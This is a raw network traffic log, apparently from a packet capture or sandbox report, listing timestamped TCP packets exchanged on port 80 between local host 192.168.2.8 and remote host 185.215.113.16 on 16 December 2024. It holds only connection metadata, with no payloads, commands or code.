Dec 16, 2024 13:16:40.451410055 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.451462030 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.452481031 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.452554941 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.452558994 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.452593088 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.453656912 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.453764915 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.453785896 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.453921080 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.454853058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.454958916 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.455002069 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.456029892 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.456073999 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.456095934 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.456182957 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.457223892 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.457272053 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.457329988 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.457377911 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.458394051 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.458448887 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.458523989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.458566904 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.459605932 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.459644079 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.459676027 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.459760904 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.460761070 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.460807085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.460808992 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.460841894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.461941957 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.462061882 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.462114096 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.463175058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.463218927 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.463321924 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.463465929 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.464354992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.464404106 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.464484930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.464524984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.465564966 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.465622902 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.465687990 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.465728998 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.466731071 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.466777086 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.466883898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.466927052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.471385956 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.471401930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.471412897 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.471424103 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.471434116 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.471446037 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.471460104 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.471479893 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.471489906 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.471566916 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.471728086 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.471769094 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.472655058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.472724915 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.472754002 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.472795010 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.473845005 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.473902941 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.473947048 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.473989010 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.475122929 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.475172997 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.475194931 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.475234032 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.476224899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.476285934 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.606745958 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.606833935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.606854916 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.606888056 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.607297897 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.607343912 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.607474089 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.608087063 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.608439922 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.608484030 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.608566046 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.608606100 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.609635115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.609699011 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.609733105 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.609782934 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.610786915 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.610841990 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.610898972 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.610939980 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.611996889 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.612046003 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.612050056 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.612085104 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.613184929 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.613240004 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.613297939 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.613337994 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.614392042 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.614447117 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.614515066 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.614556074 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.615578890 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.615675926 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.615736008 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.617079020 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.617146015 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.617196083 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.617957115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.618014097 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.618048906 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.618092060 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.619107962 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.619158030 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.619215965 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.619256973 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.620307922 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.620901108 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.620958090 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.621548891 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.621606112 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.621687889 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.621732950 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.625423908 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.625479937 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.625765085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.625777960 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.625788927 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.625799894 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.625804901 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.625812054 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.625828981 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.625870943 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.626991987 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.627058983 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.627120972 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.627162933 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.628295898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.628448009 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.628508091 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.629221916 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.629271984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.629390955 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.629432917 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.630464077 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.630475044 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.630542040 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.631741047 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.631752968 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.631805897 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.632817984 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.632868052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.632991076 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.633037090 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.634140015 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.634151936 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.634205103 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.635013103 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.635025024 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.635070086 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.635085106 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.636495113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.636538982 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.636635065 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.636670113 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.637708902 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.637723923 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.637768984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.637789965 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.638860941 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.638906002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.639043093 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.639091015 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.640032053 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.640094995 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.640199900 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.640244961 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.641174078 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.641218901 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.641345024 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.641518116 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.642406940 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.642421007 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.642460108 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.642474890 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.643620014 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.643661976 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.644124985 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.644164085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.644800901 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.644912958 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.644949913 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.644995928 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.646006107 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.646018028 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.646087885 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.647166967 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.647226095 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.647361040 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.647455931 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.648365974 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.648436069 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.648503065 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.648704052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.649538040 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.649600029 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.649710894 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.649749994 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.650824070 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.650835991 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.650895119 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.651922941 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.651968956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.652079105 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.652117014 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.653007030 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.653017998 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.653044939 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.653064013 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.653597116 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.653635025 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.653960943 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.654057026 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.656213999 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.656228065 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.656271935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.657044888 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.657058954 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.657088041 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.657104969 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.657936096 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.657988071 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.658052921 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.658092976 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.659037113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.659082890 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.659171104 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.659210920 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.659553051 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.659594059 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.659739971 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.659779072 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.660717964 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.660870075 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.660912991 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.661923885 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.662045956 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.662091970 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.663125992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.663211107 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.663232088 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.663253069 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.664284945 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.664344072 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.664346933 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.664381981 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.665496111 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.665549994 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.665613890 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.665649891 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.666688919 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.666763067 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.666788101 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.666826963 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.667844057 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.667890072 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.667973995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.668029070 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.669017076 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.669056892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.798835039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.798903942 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.798918962 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.798960924 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.799521923 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.799566984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.799634933 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.799802065 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.800900936 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.800962925 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.801049948 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.801100969 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.801945925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.801984072 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.802002907 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.802030087 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.802931070 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.802978992 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.803061008 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.803113937 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.804099083 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.804152012 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.804208994 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.804415941 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.805291891 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.805344105 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.805346966 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.805392027 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.806473017 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.806540966 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.806576014 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.806883097 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.807681084 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.807730913 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.807777882 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.808089018 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.808871031 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.808950901 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.808983088 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.809029102 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.810050011 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.810106993 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.810134888 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.810175896 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.811259985 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.811307907 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.811387062 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.811425924 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.812418938 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.812478065 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.812513113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.812681913 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.813682079 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.813750982 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.813782930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.813822985 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.814814091 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.814838886 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.814865112 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.814881086 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.816019058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.816075087 CET	49770	80	192.168.2.8	185.215.113.16
